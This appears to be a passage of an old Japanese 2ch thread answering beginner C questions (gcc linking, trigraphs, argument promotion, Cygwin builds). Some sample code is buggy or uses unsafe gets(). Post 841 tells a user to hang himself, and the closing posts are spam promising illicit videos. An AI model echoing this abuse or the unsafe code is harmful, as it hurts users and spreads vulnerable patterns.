荷が重いし
0738736
NGNGSchemeは相当にコンパクトな仕様に思えるのですが、やはり本物だけのことはある。
だから最初は俺Lispでいいと思うんですよ。
0739デフォルトの名無しさん
NGNG0740デフォルトの名無しさん
NGNG0741デフォルトの名無しさん
NGNGあなたはDelphi以外はあまり使わないようですね。
スレ違いです。逝け
0742デフォルトの名無しさん
NGNG0743デフォルトの名無しさん
NGNG秀丸のマクロで「コンパイル&実行」ってできないもんでしょうか?
いちいちファイルを移動させるのって結構面倒ですよね?
マクロってものがどんなものかよく分かってませんが・・・
どうか、ひとつ、よろしくお願いします。
0744デフォルトの名無しさん
NGNG0745デフォルトの名無しさん
NGNGCでもJavaでもうちでは出来てるけど、スレ違いだから教えれん。
誘導↓
秀丸秀丸秀丸
http://mentai.2ch.net/test/read.cgi/prog/998579038/
0746デフォルトの名無しさん
NGNGGCCのリンカというよりリンカ、リンクそのものが解ってないです。
そこでお願いがあります。
hello.oというオブジェクト
writehello()
{
puts("Hello\n");
}
という関数が定義してある。
を
main.c
から使う実例(ソース、リンカの使い方)を見せてください。お願いします。
0747偽善者
NGNGvoid writehello(void);
main()
{ writehello(); }
$ gcc main.c hello.o
$ ./a.out
Hello
$
0748デフォルトの名無しさん
NGNGwritehello() の返り値を int にしないあたりが偽善ですか?
0749デフォルトの名無しさん
NGNGレスありがとうございます。
しかしhello.cというオブジェクトの作り方も解らないのです。
説明不足ですいません。
0750デフォルトの名無しさん
NGNGどういうことでしょうか?非常に気になります。
よろしければご教授ください。
0751デフォルトの名無しさん
NGNG> しかしhello.cというオブジェクトの作り方も解らないのです。
$gcc -c hallo.c
gcc できればmakeとかも調べてみるとよい。
0753デフォルトの名無しさん
NGNG0754デフォルトの名無しさん
NGNG誰だ貴様!名を名乗れ
0755デフォルトの名無しさん
NGNG>誰だ貴様!名を名乗れ
どうもありがとうございます。
0756デフォルトの名無しさん
NGNGどういたしまして
0757デフォルトの名無しさん
NGNG不覚にもワラタ
0758デフォルトの名無しさん
NGNG0759デフォルトの名無しさん
NGNG14文字
0760デフォルトの名無しさん
NGNGスレ違い
(4文字)
0761デフォルトの名無しさん
NGNG教えろよ
(4文字)
0762デフォルトの名無しさん
NGNGhttp://www.freebsd.org/ja/FAQ/misc.html#AOUT-ELF
(48文字)
0763デフォルトの名無しさん
NGNG98点やる
(5文字)
0764デフォルトの名無しさん
NGNG>>762
これは100点満点だろ。
0765デフォルトの名無しさん
NGNG人に聞いても「マイクロソフトのC++使え」
検索してもサンプルソースがhitするくらいで(参考にはなりますがいろんな手法を知りたい)
どうにも消化不良です。
なにか参考になる書籍でもいいので教えてもらえませんか。
0766デフォルトの名無しさん
NGNGISBN:4-7561-3601-X
0767デフォルトの名無しさん
NGNGGUI部分は、TCL/TKで簡単に実装できるし、
なにより、DOSプロンプトより使いやすい
ターミナルエミュレータがあるから。
0768デフォルトの名無しさん
NGNG0769デフォルトの名無しさん
NGNGでも手放せない。
0771デフォルトの名無しさん
NGNG0772デフォルトの名無しさん
NGNG>なにより、DOSプロンプトより使いやすい
>ターミナルエミュレータがあるから。
それってどれですか?教えてください。
うちのはDOS窓でしか動きません・・・
0773デフォルトの名無しさん
NGNGktermなりrxvtなりEtermなりをコンパイルすればいいじゃん。
0774デフォルトの名無しさん
NGNG#include <stdio.h>
void main(){
0775失敗した。スマソ
NGNG#include <stdio.h>
void main(){
int n[3];
n??(0??)=123;
printf ("n=%d\n",n[0]);
}
0776つづき
NGNG0777(T_T)
NGNG0778774,775
NGNG777取ったんだからいいぢゃん。おめでと。
0779デフォルトの名無しさん
NGNGおぉ〜。オレ昔のIBM汎用機で本当にそうやって
コーディングしたんだよぉ。懐かしすぎ。
0780デフォルトの名無しさん
NGNG0781デフォルトの名無しさん
NGNGVC++は通りました。
BCBは通りません。
GCCも通りません。
(なんかオプションいるのかなぁ?)
0782デフォルトの名無しさん
NGNG0783デフォルトの名無しさん
NGNGおぉ、通ったよ。さんきゅ。
これってなんで?
>779 によると、ひょっとして、昔のキーボードって[が
無かったの? {も無かったとか?
0784デフォルトの名無しさん
NGNGすごい。どういうことか理解できん・・・・
??( > [
??) > ]
だよねぇ?
#include <stdio.h>
void main(){
int n??(3??);
n??(0??)=123;
printf ("n=%d\n",n??(0??));
}
コレで通ったし・・・
0785デフォルトの名無しさん
NGNGいや、だから、トライグラフ…
0786デフォルトの名無しさん
NGNGCygwin だと kterm, Eterm って X サーバ無しでも動くんですか?
google で検索かけて、rxvt が X なしで動いてかつ日本語化パッチもあることは分かった
けど、もはや日本語パッチが obsolete っぽい。
0787デフォルトの名無しさん
NGNGいや、だから、なんでトライグラフっていうものが
必要だったのか?ってこと。
[っていうコードが昔は無かったとか?
0788デフォルトの名無しさん
NGNGgoogle:"トライグラフ"の二番目だった。
0789デフォルトの名無しさん
NGNG不変文字セット(invariant character set)にないから
0790デフォルトの名無しさん
NGNG??( [
??) ]
??/ \
??' ^
??< {
??> }
??! |
??- ~
0791デフォルトの名無しさん
NGNGコンパイラはできればgccでお願いします。
0792デフォルトの名無しさん
NGNGGetProcAddress で関数へのアドレスを得る。
必要無くなったら、FreeLibrary を呼べ。
コンパイルの仕方は gcc --help -v |more でもしとけ。
関数ポインタの型は typedef しておくと便利。
0793デフォルトの名無しさん
NGNG0794デフォルトの名無しさん
NGNGグローバルに参照できませんか?
0795こうか?(w
NGNGchar* g_argv[];
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
:
0796デフォルトの名無しさん
NGNGstatic int *pargc; char ***pargv;
int main(int argc, char **argv)
{
pargc = &argc; pargv = &argv;
}
0797デフォルトの名無しさん
NGNGC言語には、そのような機能はないのでしょうか?
0798デフォルトの名無しさん
NGNG全く意味がわかりません。完全に道を踏み間違えてしまいました。
どうにか将来は音楽関係の仕事に携わりたいのですが
今更音楽学科に変えるお金もありません。
板違いだと思いますが、何かいい方法ないでしょうか??
0799デフォルトの名無しさん
NGNG今すぐ学校をやめて、音楽学科に入り直すだけの金を稼ぐ。
0800デフォルトの名無しさん
NGNG> perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ)
なんだhere,thereって。here doc?
> C言語には、そのような機能はないのでしょうか?
なんだかよく分からんが、ともかくない。
0801デフォルトの名無しさん
NGNGそう思うのなら決断は早く
その時期の1年2年くらいなら取り返せるし
0802デフォルトの名無しさん
NGNG適正が無い奴、プログラムが嫌いな奴は絶対に止めておいた方がえぇ
0803798
NGNG情報処理学科を出て就職するとなれば
大半の人がプログラムを組む職に就くんですか?
情報系の学校を出て全然違う職種に就いた方いますか?
0804デフォルトの名無しさん
NGNGあのさあ、情報系の優秀な奴はプログラマーなんぞにはならんのだよ
あ、お前は糞専門だったか わりーわりー
0805デフォルトの名無しさん
NGNGなぜポインタ?
0806デフォルトの名無しさん
NGNGあのさあ、プログラマーの領域狭く考えすぎてない?
あ、お前は・・・・・・わりーわりー
0807デフォルトの名無しさん
NGNGじゃあお前は何をやってるの?
糞アプリ作っとるだけのくせに偉そうなこと言うな
身分をわきまえろ
0808デフォルトの名無しさん
NGNG0809デフォルトの名無しさん
NGNGグローバル変数を使おうとして逝った...と
0810デフォルトの名無しさん
NGNGネタでもいいからはようこたえろや
お前さんはどんなことをやってるのですかああああ????
これだから雑魚は困る
0811デフォルトの名無しさん
NGNGCでは参照が使えないから…
ていうか>>795じゃまじぃど。
なぜまじぃのかは自分で考えれ。
0812デフォルトの名無しさん
NGNGC言語には、そのような機能はないのでしょうか?
0813デフォルトの名無しさん
NGNGだから2chでも言いっぱなし
根性ナシ
真向から議論して勝つ自信はないのかよ
俺をへこましてみろや
0814Ruby初心者
NGNGその自信はどこからくるんですか?
教えてください。
0815デフォルトの名無しさん
NGNGちょっときついこと言ってくる奴は煽りな
で、無視な
お前ら弱すぎ
0816デフォルトの名無しさん
NGNGあのな、ここはCの部屋だろ
お前スレ違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
0818デフォルトの名無しさん
NGNG0819デフォルトの名無しさん
NGNGこわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
0820デフォルトの名無しさん
NGNGすぐ汚い言葉で煽り合うようなやつはプログラムも書けない厨房(ただ板に来て覗いてるだけ)
なのは間違いない。
0821デフォルトの名無しさん
NGNGそうだね。一匹紛れ込んでるね。
0822デフォルトの名無しさん
NGNGなんか同人コミュニティみたいな感じがして気持悪い
「僕のプログラム見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前のプログラムはそんな安っぽいもんなのかと
はぁ、また寒い反論しか返ってこないんだろうなあ
0823デフォルトの名無しさん
NGNG0824デフォルトの名無しさん
NGNG「ネタにもならないアホは放置」が基本となっていますのでお気をつけください
0825デフォルトの名無しさん
NGNGいまいち感じがつかめない。
その貼り付けられたプログラムの質がどんなであれ、
皆が褒めそやすという構図になっているならまだしも。
0826デフォルトの名無しさん
NGNG敏感に反応しちゃってるあなたはどうしましょう?
0827デフォルトの名無しさん
NGNG{
puts("\
こんな風に書きたいのか?
とりあえずgccじゃ通るけど、警告とか出す処理系もありそう。
");
return 800;
}
0828?f?t?H???g???????
NGNGなんか同人コミュニティみたいな感じがして気持悪い
「僕の日本語見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前の日本語はそんな安っぽいもんなのかと
はぁ、また寒い反論しか返ってこないんだろうなあ
0829デフォルトの名無しさん
NGNG別の言語に無理やり持っていっても良いことはない。
Cでヒアドキュメントはできまっせん。
0830デフォルトの名無しさん
NGNGお絵書き掲示板みたいな感じ
俺はあれ大嫌い
吐き気がする
0831デフォルトの名無しさん
NGNG0832デフォルトの名無しさん
NGNGrubyに無理やり持っていっても良いことはない。
rubyでは何もできまっせん。
0833デフォルトの名無しさん
NGNG0834デフォルトの名無しさん
NGNGいや...だから、この板では
>貼り付けられたプログラムの質がどんなであれ皆が褒めそやすという構図
にはなってないよね?
0835デフォルトの名無しさん
NGNGだいたいそんな感じだろ
それとも情報交換のつもりか?
だったら本読もうや
ソース読もうや
あなたが真のプログラマーならね
0836デフォルトの名無しさん
NGNG彼はソース読めないから疎外感を感じていると思われ
0837デフォルトの名無しさん
NGNG具体的にそういった雰囲気のレスを挙げてみ。
それとも単なる僻み?(大爆笑)
0838デフォルトの名無しさん
NGNG0839デフォルトの名無しさん
NGNGなんか同人コミュニティみたいな感じがして気持悪い
「僕のプログラム見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前のプログラムはそんな安っぽいもんなのかと
はぁ、また寒い反論しか返ってこないんだろうなあ
0840デフォルトの名無しさん
NGNGぢゃ、寝るわ
お前ら一晩かけておもしろい文句考えといてな
とりあえず朝はチェックするからそのまま議論続けてな
泣かない程度に頑張ってみてくれや
0841デフォルトの名無しさん
NGNG.∧_∧ | >>840 Ruby厨な人さぁ こんなレスばっかりしてるから |
( ´∀`)< 厨房って言われちゃうんだよ |
( ∧∧ つ >―――――――――――――――――――――‐<
( ゚Д゚) < おまえのことを必要としてる奴なんて Ruby使いにすら |
/つつ | いないんだから さっさと回線切って首吊って氏ね |
\______________________
0842デフォルトの名無しさん
NGNG0844デフォルトの名無しさん
NGNGまあそうしないとコンパイルはとおらんわな。
それでもやっぱり>>795よりは>>796なのよ。
理由は自分で考えれ。
0845795
NGNG厨房だからわかんないよ。
int g_argc;
char** argv;
int main(int argc, char* argv[]) {
g_argc = argc;
g_argv = argv;
argc = 1; /* etc. */
assert(g_argc == argc); /* !!! */
:
みたいなことが言いたいの?
0846デフォルトの名無しさん
NGNG0847sage
NGNG0848デフォルトの名無しさん
NGNG0849デフォルトの名無しさん
NGNGken -> gcc -O0 mona.c
でいいの?
(マイナスオーゼロ)
ken -> gcc -v
Reading specs from /usr/local/gnu/lib/gcc-lib/sparc-sun-solaris2.6/2.95.2/specs
gcc version 2.95.2 19991024 (release)
0850デフォルトの名無しさん
NGNGの日本語バージョンってないざますか?
0851デフォルトの名無しさん
NGNGC言語のプロトタイプ宣言ってみんなどうやって書いてる?
手動か、それともなにかツールを使って自動出力させてる?
0852デフォルトの名無しさん
NGNG0853デフォルトの名無しさん
NGNG手で書いてる。
というか、最初にヘッダにプロトタイプ宣言を書いて、
スタブをちゃちゃっと書き上げてから
本格的なコーディングに入る。
0854デフォルトの名無しさん
NGNG今は、関数実体を書いた後にコピペ & extern追加をしてる。
0855851
NGNGcprotoの場合実際どのように使ってます?
俺が想像するには、cproto -ve main.c > main.hed
とかやって main.h の中で #include "main.hed" とやる。
もしくは cproto -ve *.c > protoall.hed などと全て一つにまとめて
一ヶ所で #include "protoall.hed"
>>853
最初から仕様が明確で関数が少ない場合はそれでも
いいかもしれないけど、そういうケースは少ない気がする。
んで、似た処理を一つにまとめたいとかとっさに思ったときに、
プロトタイプ書くのがめんどくさくなって、
結局一つの関数が巨大化していったりはしないですか?
0856デフォルトの名無しさん
NGNGその程度の手間は厭わず。すぐに慣れれるって。
プロトタイプ宣言を書くのも、
引数は評価する前に assert するコードを入れるのも、
関数を書く前に、まずテスト用のコード書くのも、
コードに手を入れたときに、変更点をデバッガでステップ実行するのも、
習慣化すれば、どうってことない。
0857デフォルトの名無しさん
NGNG問題)テキストファイルを読み込み'A'〜'Z'と'a'〜'z'の文字数を
それぞれカウントする。
例)
test.datファイルの内容
ASDadz
AAZz
結果としては
Aが3回
Dが1回
Sが1回
Zが1回
aが1回
dが1回
zが2回
0858851
NGNGなるほど。コピペ+変数にextern追加ってのは同じ事の繰り返し作業だから
みんなどうにかして自動化してやって欲しい。。。
(と、個人的に思うんだが)
>>856
>引数は評価する前に assert するコードを入れるのも、
>関数を書く前に、まずテスト用のコード書くのも、
には、かなり同意だけど、やっぱりプロトタイプ宣言書くのだけは
時間の無駄にしか思えないな。
Javaだとプロトタイプ宣言する必要が無いから短時間でどんどん
プログラムを変更していけて効率的なんだけどな。
0859デフォルトの名無しさん
NGNGstatic int code[256];
int c;
FILE *fp;
fp = fopen("test.dat", "r");
while ((c = fgetc(fp)) != EOF)
if (isalpha(c)
code[c]++;
for (i = 0; i < 256; i++)
if (isalpha(i) && code[i] > 0)
printf("%cが%d回\n", i, code[i]);
fclose(fp);
0860デフォルトの名無しさん
NGNGi は int なんだろうが、
それなら printf に渡すときにキャストしなきゃいけない気が。
0861デフォルトの名無しさん
NGNGコンパイルして実行したら、
うまくいきました。
ありがとう
857より
0862デフォルトの名無しさん
NGNGキャストはいらん。
もしキャストがいると信じてるなら悔い改めなさい。
0864デフォルトの名無しさん
NGNG動作から納得するんじゃなくて、ちゃんと規格を調べて理解した方がいいと思うが。
K&R 本が手元にあるなら、索引で「格上げ」を調べてみましょう。
0865863
NGNG初版には「格上げ」載ってねぇよ…。
つか、printf は可変個引数なんで、「格上げ」(型変換)なんてやってくれんのか?
char を受け取ると明示されてる関数なら、int を渡せば int->char の変換を
やってくれるだろうが、printf だと無理な気がするのだが…。
でもちゃんと動作したんだよなぁ…。
スタックにプッシュときのサイズが int と char で変わらないからかのう?
調べてきます…。
0866デフォルトの名無しさん
NGNGそれ以上のはそれなりにスタックにつまれるってかいてあるだ炉。
蛇足だが、実数型は黙ってdoubleで積むとも書いてあるだろ。
まず、嫁。
0867863
NGNG動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
0868デフォルトの名無しさん
NGNG0869863
NGNG何か間違ってますか?
0870864
NGNG確認してみたら、格上げじゃなくて A7.3.2 関数呼び出しのところに書いてあったわ。
ところで「初版」というのは ANSI C ではなく K&R C 対応のヤツ? 引数の格上げ
規則は ANSI C と K&R C (もしくは ANSI C でプロトタイプ宣言無しの場合) で微
妙に違うから、第2版を参照した方が良いぞ。
0871864
NGNGおいおい……。
printf() の可変長引数の部分で i を渡してるんでしょ? そこで (char)i と書いて
も格上げ規則によって (char)i が int に変換された後に引数として渡されるから、
まったく意味がないって。
> 動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
たまたま、ではなく ANSI C 対応のコンパイラなら「常に」問題ない。スタックにプッ
シュされるかどうかは処理系依存だが(レジスタで渡しても良いし)。
0872863
NGNGスマン。わかった。俺が間違っていた。アホ。
> 整数型はintに収まるのはintで、
> それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。
ってことね。スマン。ホントスマン。パッとわからんかった。
アホ過ぎですな。逝ってきます。豆腐の角に頭ぶつけて逝ってきます。
来世で会ったときも迷惑かけるかもしれませんが、その時はよろしく。
逝ってきます。アホ。逝ってきます。
0873質問くん
NGNG6, 7, 8, 9, 10
って内容のデータファイルをfscanf関数で読みこもうとすると
最初の"1"だけを読みこんで終わってしまします。
2行目の最後まで、コンマと空白も含めてそっくりそのまま
読みこみたいんです。
どうしたらいいかわかりません教えてください
0874863
NGNG火柱が30mぐらいに達しましたわ。
匿名でよかったですわ。
それでは改めて逝ってきます。
0875デフォルトの名無しさん
NGNGまたこいよ
0876デフォルトの名無しさん
NGNG0878873
NGNG読みこみたいんです、お願いします
0880873
NGNG0881デフォルトの名無しさん
NGNG予想通りのボケが入ったな(w でも 873 で既出なので 1 点減点。
0882デフォルトの名無しさん
NGNGdos上動くプログラムででx、y、座標を指定して文字を出力
したいのですが何をつかったらいいでしょうか?
0883デフォルトの名無しさん
NGNG0885デフォルトの名無しさん
NGNG0886デフォルトの名無しさん
NGNG0887ビル・ジョブス
NGNG0888C厨房
NGNGこの間拾ったBorland C++でFranz Lisp-386をコンパイル出来なくて
困ってます。make.exeがFATAL errorを吐き出すんですが。
makefileが#ifdef #endifだらけで迷路のようです。
乞アドバイス
0889C厨房
NGNG0890BASICER
NGNG0891C厨房@BASICER
NGNG0892デフォルトの名無しさん
NGNG間違ってるっつーか、#ifdefだらけなんてことはcpp通すかなんかしなきゃい
かんのじゃないの。
0893デフォルトの名無しさん
NGNGCプリプロセッサ−?→cpp
0894BASICER
NGNG0895デフォルトの名無しさん
NGNGBCBには入ってるけど・・・・
#ifdef とかのプリプロセッサ処理だけするのが CPP.exe ね
0898Franz Lisper
NGNGどうやって使うの?
0899Franz Lisper
NGNG[ E2194 (.v.);鹿〜'lisp.cpp' etc
0900デフォルトの名無しさん
NGNGにいってmakeってやると勝手にmakefileを自動
判別するYO。自前のmakefileつかいたいときは
mymake(.hogehoge)とかをつくって、(拡張子は
つけてもどっちでもいい。)とにかくmake mymake
ってやるんだYOつまりmake は make makefileやってると
同じことなんだYO
0901デフォルトの名無しさん
NGNGmakeってやってもだめだYO
0902デフォルトの名無しさん
NGNG0903デフォルトの名無しさん
NGNGだろ。ふつー。
0904デフォルトの名無しさん
NGNG教科書読みなさい。
0905Franz Lisper
NGNGmakefileもソースファイルも全部c:\borland\bcc55\bin
に ぶっこんである。
0906892
NGNG> >c:\borland\bcc55\bin\cpp32 makefileって感じ?
cpp通した出力をmakefileとしてmakeに食わす。のかも知れん。
とりあえずドキュメントちゃんと読め。
0907デフォルトの名無しさん
NGNGが、ないの?
・・・もういっか落としなおせよ・・・・
0908Franz
NGNGMAKE version 5.2 Copyright (c) 1987, 2000 Borland
fatal: 'FRC' does not exist - don't know to make it
C:\borland\bcc55\bin>
も〜嫌!
0909デフォルトの名無しさん
NGNGBCC32 *.C* ってやってみろよ>>908
0910Franz
NGNGとにかくエラーメッセージが文字化け
0911デフォルトの名無しさん
NGNG0912デフォルトの名無しさん
NGNGエラーなんかでねーぞ?カラのmakefileつくっても同じ
まぁ、そこらへんのサイトあるようでないからな、
>>http://www.m-n-j.com/town/internet_computer/makuzu/pgf/FreeProg-bcc551.html
ここらへんとか、どうよ。あと数個あるから頑張って検索しな
0913Franz
NGNG0914Franz
NGNGそれってUNIXからWindowsに移植を意味する?
386−Makefileと言うのがあるのだが・・
0915デフォルトの名無しさん
NGNGGNUmakeは、単体で手に入ったかな?
なかったらcygwinを使え
0916909
NGNG必要そうなdefineはソースに直接書き込んで
必要そうなソースだけディレクトリにぶちこんで BCC32 *.C でやってみろよ
まともなソースでmainがあれば実行ファイル作れるだろ
どっちにしてもエラー先に潰さんとダメだしな
0917Franz
NGNGお休みALL
>>915
そうBSD
http://www.aiai.ed.ac.uk/~jeff/franz-for-386.html
ここで拾った。
0918デフォルトの名無しさん
NGNGちゃんとバイナリが生成されたら、Borlandので試してみるとか。
0919Franz
NGNG0920Franz
NGNGhttp://www.on.cs.keio.ac.jp/~maru/cygwin-xfree-jp-supplement/
0921Franz
NGNGサイト見つけた。付き合ってられん
検索機能くらい付けろ!
0922Franz
NGNGこんなに見るのに手間かかるサイト見付けた。
http://members.tripod.co.jp/xaiax/scribble.html
付き合ってられん!
検索機能くらい付けろ!
0923Franz
NGNGとりあえず現段階ではBorlandの方が早い
っつーかBorlandにはTurbo C 2.0で、お世話になっているから
こだわりがある。
0924Franz@ほとんど荒らし
NGNGDLサイトのリンクくらい張れ!
http://www.gihyo.co.jp/javapress/OpenSource17/ex2.html
0925Franz@勉強中
NGNGhttp://sources.redhat.com/cygwin/download.html
0926デフォルトの名無しさん
NGNGくだらんことでいちいちageんじゃねーよ。
0927Franz@勉強中
NGNGsetupでproxyのアドレス放り込む窓があるがネット上で
compileするっつー事かな?
proxyに付いてはアメ公が、寝ている日本時間昼に使っている。
アメ公が起きている日本時間深夜に串抜いている。
っつーか串が死んだら面倒だし..
なんかいきなりcompile成功の予感。
>>918 Thanx!
0928C厨房
NGNG設定項目が多すぎます。
これってネット上でInstallするって言う事なんでしょうか?
0930Franz
NGNG0931デフォルトの名無しさん
NGNGどこがくだらないんだ!
糞スレ立てて人が来ないのか?
0932デフォルトの名無しさん
NGNG自分でも「ほとんど荒らし」と書いてるだろうが。
だったら書き込み止めるかまとめりゃいいんだよ。
0933デフォルトの名無しさん
NGNGどうかと・・・
0934\
NGNG0935デフォルトの名無しさん
NGNG0936デフォルトの名無しさん
NGNG0937デフォルトの名無しさん
NGNGグラフィックのライブラリを使えば書けます。
どんなライブラリがあるかはOSや処理系によります。
0938デフォルトの名無しさん
NGNGprintf("○□\n");
でも機種依存だから気をつけてね。
0939デフォルトの名無しさん
NGNGもうちょいましに書こうぜ。
printf("丸\n");
printf("四角\n");
printf("図形\n");
0940名無しさん
NGNGintelコンパイラ > VC++ > gcc
ってな感じ? いや、これは想像だけど。
0941デフォルトの名無しさん
NGNG/* 幅 width, 高さ heightの四角を書く */
int i,j;
for(i=0; i<width; i++) putchar('#');
putchar('\n');
for(j=1; j<height-1; j++) {
putchar('#');
for(j=1; j<width-1; j++) putchar(' ');
putchar('#');
}
putchar('\n');
for(i=0; i<width; i++) putchar('#');
putchar('\n');
円を描くんなら三角関数を使っとけ。
0942デフォルトの名無しさん
NGNGlong型はわかるんですけど、combiの意味がわかりません。
教えてください!
0943デフォルトの名無しさん
NGNGchar b[20];
}c;
c.b="ナナシサン";
何でこれでは、いけないのですか?
すみませんが御指導お願いします。
0944デフォルトの名無しさん
NGNGK&Rを死ぬほど読んで配列とポインタの違いを理解してください。
0945デフォルトの名無しさん
NGNG死ぬほど読んで死んだらプログラムできなくなっちゃうんで、教えてください。
0946デフォルトの名無しさん
NGNGbには代入しちゃだめ。
0947デフォルトの名無しさん
NGNG何故いけないのですか?
foo()
{
int a=0;
bar(&a);
}
bar(int *a)
{
*a = 10;
}
0948デフォルトの名無しさん
NGNGレジスタにはポインタが無いから。
0949デフォルトの名無しさん
NGNG0950デフォルトの名無しさん
NGNGaはstackじゃないんですか。
auto変数のポインタ渡しして渡した関数で書き換えても動くんで(VisualC)わけわかりません。
暗黙的にstaticなんでしょうか。うう。
0951デフォルトの名無しさん
NGNGstruct{
char *b;
} c;
なら
c.b="ナナシサン";
はOKだよ。
0952デフォルトの名無しさん
NGNGそのコードはとくに問題ないと思うが。
0953sage
NGNG問題ないよ。
自動変数は最適化でレジスタにしか割り付けられないこともあるが、
&でアドレスを参照している変数は、きちんと実メモリ上(スタック)に配置される。
同じように
foo()
{
register int a;
bar(&a);
}
bar(int *pa)
{}
のようにやっても間違いではない。
0954デフォルトの名無しさん
NGNGΣがーん。register宣言してもコンパイラが面倒を見てくれるとは知らなかった。
それって組み込み系でも?
0955デフォルトの名無しさん
NGNGコンパイラが文句言わなければ大丈夫。
やってみてダンプしる
0956sage
NGNGあってもよいが、
今時のコンパイラはregisterをそもそも無視する傾向にあるな。
0957デフォルトの名無しさん
NGNGlomgが謎だ。
0958デフォルトの名無しさん
NGNG0959デフォルトの名無しさん
NGNG基本的なことわからなくてすみません。
0960デフォルトの名無しさん
NGNGISBN4-320-02692-6
0961デフォルトの名無しさん
NGNGひょっとして検索すら知らないのかい
0962デフォルトの名無しさん
NGNGK&Rって検索のことなんですね。
基本的なことを教えていただきありがとうございました。
0963
NGNGただの化石です。気にする必要はありません。
ていうか、知りたいことがあればすぐ聞くのではなくて
まずは検索してみようよ。
0964デフォルトの名無しさん
NGNGK&Rって化石のことなんですか?
プログラマーの方言?
辞書で調べてみます。
0965デフォルトの名無しさん
NGNG化石どころかバイブルじゃない?
すべての C プログラマは K&R の hello, world から入門するのだ。
0966デフォルトの名無しさん
NGNGscanf("%s",a);
if(strcmp(a,"Y")==0);
break;
}
リターンキー押してループ抜けるようにするにはどうしたらいいですか?
0967デフォルトの名無しさん
NGNG環境依存。
0968デフォルトの名無しさん
NGNGもう少し詳しく教えてください。
0969デフォルトの名無しさん
NGNG環境依存と言うのだから、環境を発表してみそ。
そうすれば、やさしい>>967がきっと答えてくれるだろう。
0972デフォルトの名無しさん
NGNG0973デフォルトの名無しさん
NGNGfscanf(), sscanf() で "hogehoge = 199" とかの定型フォーマットな
ものから, ある値を取ってくるような使い方に焦点をあてて
書かれた本とか Web ページとかはないでしょうか.
キーボードから値をとってくるのに scanf を使うなんて
教えてもあまり意味がないと思うのですが ...
まあ本の都合ってのもあるんだろうけど.
0974デフォルトの名無しさん
NGNGchar str[256];
gets(str);
if (sscanf(str, " hogehoge = %d ", &n) == 1) {
printf("%d\n", n);
}
0975デフォルトの名無しさん
NGNGhttp://piza2.2ch.net/test/read.cgi/tech/1003418249/
0976キリ番ゲッター
NGNG0977キリ番ゲッター
NGNG覚悟しておけ>ALL
0978キリ番ゲッター
NGNGうらびでお
さしあげます!!!!!!!
maji
0979キリ番ゲッター
NGNGhttp://www.megabbs.com/cgi-bin/readres.cgi?bo=douga&vi=991411619&rm=100
0980キリ番ゲッター
NGNG注意しておけよ
0981キリ番ゲッター
NGNGだよーーーーーーーーーーーーーーーーーーーーーーーーん
0982キリ番ゲッター
NGNGヤクルトのビールかけって何で放送されないの?????
sage
0983キリ番ゲッター
NGNG美しい
ああああああああああ ほしい
0984デフォルトの名無しさん
NGNG0985キリ番ゲッター
NGNG氏ね
0986キリ番ゲッター
NGNG邪魔するな>>984
氏ね〜〜〜〜〜〜〜〜〜〜〜〜〜〜!!!
0987キリ番ゲッター
NGNG邪魔したら ウラビデオ もらえなくなるぞ!!!!!!!!
hehehe
0988キリ番ゲッター
NGNG俺様=神
>>984=うんこ
0989キリ番ゲッター
NGNG最後の
スレッドフロンティア
0990キリ番ゲッター
NGNG0991デフォルトの名無しさん
NGNG0992デフォルトの名無しさん
NGNG0993キリ番ゲッター
NGNG思いっきり邪魔してるじゃ ないか!!!!>>992 氏ね
0994キリ番ゲッター
NGNGくさい くさい
0995デフォルトの名無しさん
NGNG0996デフォルトの名無しさん
NGNG0997キリ番ゲッター
NGNG1000横取り禁止じゃ
0998キリ番ゲッター
NGNGなぜ邪魔するんだ fuck
0999デフォルトの名無しさん
NGNG1000キリ番ゲッター
NGNG0
0
0
GET!!!!!!!!!!!
10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。